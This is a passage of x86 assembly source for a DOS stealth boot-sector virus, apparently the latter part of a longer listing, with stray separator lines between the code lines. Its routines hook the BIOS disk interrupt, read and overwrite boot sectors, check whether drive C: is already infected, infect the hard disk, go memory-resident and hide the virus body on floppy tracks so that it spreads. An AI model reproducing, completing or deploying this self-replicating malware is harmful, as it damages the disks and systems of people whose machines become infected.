mov dl,al ;drive to write to
|
||
mov dh,0 ;head 0
|
||
mov cx,0002H ;track 0, sector 2
|
||
mov ax,0305H ;write 5 sectors
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;This routine determines if a hard drive C: exists, and returns NZ if it does,
|
||
;Z if it does not.
|
||
IS_HARD_THERE:
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov bx,475H ;Get hard disk count from bios
|
||
mov al,[bx] ;put it in al
|
||
pop ds
|
||
cmp al,0 ;and see if al=0 (no drives)
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
|
||
;prserve AL!
|
||
|
||
GET_BOOT_SEC:
|
||
push ax
|
||
mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector
|
||
mov dl,al ;this is the drive to read from
|
||
mov dh,0 ;head 0
|
||
mov ch,0 ;track 0
|
||
mov cl,1 ;sector 1
|
||
mov al,1 ;read 1 sector
|
||
mov ah,2 ;BIOS read function
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;This routine writes the data at es:bx to the drive in al at Track 0,
|
||
;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
|
||
|
||
PUT_BOOT_SEC:
|
||
mov dl,al ;this is the drive to write to
|
||
mov dh,0 ;head 0
|
||
mov ch,0 ;track 0
|
||
mov cl,1 ;sector 1
|
||
mov al,1 ;read 1 sector
|
||
mov ah,3 ;BIOS write function
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
|
||
;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
|
||
;are checked to see if they are identical. If so, it must be the viral boot
|
||
;sector. It is assumed that es and ds are properly set to this segment when
|
||
;this is called.
|
||
|
||
IS_VBS:
|
||
push si ;save these
|
||
push di
|
||
cld
|
||
mov di,OFFSET BOOT ;set up for a compare
|
||
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
|
||
mov si,OFFSET SB_BOOT ;required instead of ^ for A86
|
||
|
||
mov cx,15
|
||
repz cmpsw ;compare 30 bytes
|
||
pop di ;restore these
|
||
pop si
|
||
ret ;and return with z properly set
|
||
|
||
|
||
;*******************************************************************************
|
||
;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *
|
||
;*******************************************************************************
|
||
|
||
ORG 7A00H
|
||
|
||
SCRATCHBUF: ;a total of 512 bytes
|
||
DB 3 dup (0)
|
||
SB_BOOT_DATA: ;with references to correspond
|
||
DB 32H dup (0) ;to various areas in the boot
|
||
SB_DR_FLAG: ;sector at 7C00
|
||
DB 0 ;these are only needed by A86
|
||
SB_BOOT: ;tasm and masm will let you
|
||
DB 458 dup (0) ;just do "db 512 dup (0)"
|
||
|
||
|
||
;*******************************************************************************
|
||
;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
|
||
;*******************************************************************************
|
||
|
||
ORG 7C00H ;Starting location for boot sec
|
||
|
||
|
||
BOOT_START:
|
||
jmp SHORT BOOT ;jump over data area
|
||
db 090H ;an extra byte for near jump
|
||
|
||
|
||
BOOT_DATA:
|
||
db 32H dup (?) ;data area and default dbt
|
||
;(copied from orig boot sector)
|
||
|
||
DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy
|
||
; 1=1.2M Floppy
|
||
; 2=720K Floppy
|
||
; 3=1.4M Floppy
|
||
; 80H=Hard Disk
|
||
|
||
;The boot sector code starts here
|
||
BOOT:
|
||
cli ;interrupts off
|
||
xor ax,ax
|
||
mov ss,ax
|
||
mov ds,ax
|
||
mov es,ax ;set up segment registers
|
||
mov sp,OFFSET BOOT_START ;and stack pointer
|
||
sti
|
||
|
||
mov ax,[MEMSIZE] ;get size of memory available
|
||
mov cl,6 ;on this system, in Kilobytes
|
||
shl ax,cl ;convert KBytes into a segment
|
||
sub ax,7E0H ;subtract enough so this code
|
||
mov es,ax ;will have the right offset to
|
||
sub [MEMSIZE],4 ;go memory resident in high ram
|
||
|
||
GO_RELOC:
|
||
mov si,OFFSET BOOT_START ;set up ds:si and es:di in order
|
||
mov di,si ;to relocate this code
|
||
mov cx,256 ;to high memory
|
||
rep movsw ;and go move this sector
|
||
push es
|
||
mov ax,OFFSET RELOC
|
||
push ax ;push new far @RELOC onto stack
|
||
retf ;and go there with retf
|
||
|
||
RELOC: ;now we're in high memory
|
||
push es ;so let's install the virus
|
||
pop ds
|
||
mov bx,OFFSET STEALTH ;set up buffer to read virus
|
||
mov al,BYTE PTR [DR_FLAG] ;drive number
|
||
cmp al,0 ;Load from proper drive type
|
||
jz LOAD_360
|
||
cmp al,1
|
||
jz LOAD_12M
|
||
cmp al,2
|
||
jz LOAD_720
|
||
cmp al,3
|
||
jz LOAD_14M ;if none of the above,
|
||
;then it's a hard disk
|
||
|
||
LOAD_HARD: ;load virus from hard disk
|
||
mov dx,80H ;hard drive 80H, head 0,
|
||
mov ch,0 ;track 0,
|
||
mov cl,2 ;start at sector 2
|
||
jmp SHORT LOAD1
|
||
|
||
LOAD_360: ;load virus from 360 K floppy
|
||
mov ch,40 ;track 40
|
||
mov cl,1 ;start at sector 1
|
||
jmp SHORT LOAD
|
||
|
||
LOAD_12M: ;load virus from 1.2 Meg floppy
|
||
mov ch,80 ;track 80
|
||
mov cl,1 ;start at sector 1
|
||
jmp SHORT LOAD
|
||
|
||
LOAD_720: ;load virus from 720K floppy
|
||
mov ch,79 ;track 79
|
||
mov cl,4 ;start at sector 4
|
||
jmp SHORT LOAD ;go do it
|
||
|
||
LOAD_14M: ;load from 1.44 Meg floppy
|
||
mov ch,79 ;track 79
|
||
mov cl,13 ;start at sector 13
|
||
; jmp SHORT LOAD ;go do it
|
||
|
||
LOAD: mov dx,100H ;disk 0, head 1
|
||
LOAD1: mov ax,206H ;read 6 sectors
|
||
int 13H ;call BIOS to read it
|
||
|
||
MOVE_OLD_BS:
|
||
xor ax,ax ;now move old boot sector into
|
||
mov es,ax ;low memory
|
||
mov si,OFFSET SCRATCHBUF ;at 0000:7C00
|
||
mov di,OFFSET BOOT_START
|
||
mov cx,256
|
||
rep movsw
|
||
|
||
SET_SEGMENTS: ;change segments around a bit
|
||
cli
|
||
mov ax,cs
|
||
mov ss,ax
|
||
mov sp,OFFSET STEALTH ;set up the stack for the virus
|
||
push cs ;and also the es register
|
||
pop es
|
||
|
||
INSTALL_INT13H: ;now hook the Disk BIOS int
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov si,13H*4 ;save the old int 13H vector
|
||
mov di,OFFSET OLD_13H
|
||
movsw
|
||
movsw
|
||
mov ax,OFFSET INT_13H ;and set up new interrupt 13H
|
||
mov bx,13H*4 ;which everybody will have to
|
||
mov ds:[bx],ax ;use from now on
|
||
mov ax,es
|
||
mov ds:[bx+2],ax
|
||
sti
|
||
|
||
CHECK_DRIVE:
|
||
push cs ;set ds to point here now
|
||
pop ds
|
||
cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive,
|
||
jz DONE ;nothing else needed at boot
|
||
|
||
FLOPPY_DISK: ;if loading from a floppy drive,
|
||
call IS_HARD_THERE ;see if a hard disk exists here
|
||
jz DONE ;no hard disk, all done booting
|
||
mov al,80H ;else load boot sector from C:
|
||
call GET_BOOT_SEC ;into SCRATCHBUF
|
||
call IS_VBS ;and see if C: is infected
|
||
jz DONE ;yes, all done booting
|
||
call INFECT_HARD ;else go infect hard drive C:
|
||
|
||
DONE:
|
||
mov si,OFFSET PART ;clean partition data out of
|
||
mov di,OFFSET PART+1 ;memory image of boot sector
|
||
mov cx,3FH ;so it doesn't get spread to
|
||
mov BYTE PTR [si],0 ;floppies when we infect them
|
||
rep movsb
|
||
|
||
xor ax,ax ;now go execute old boot sector
|
||
push ax ;at 0000:7C00
|
||
mov ax,OFFSET BOOT_START
|
||
push ax
|
||
retf
|
||
|
||
|
||
ORG 7DBEH
|
||
|
||
PART: DB 40H dup (?) ;partition table goes here
|
||
|
||
ORG 7DFEH
|
||
|
||
DB 55H,0AAH ;boot sector ID goes here
|
||
|
||
ENDCODE: ;label for the end of boot sec
|
||
|
||
COMSEG ENDS
|
||
|
||
END START
|
||
|
||
|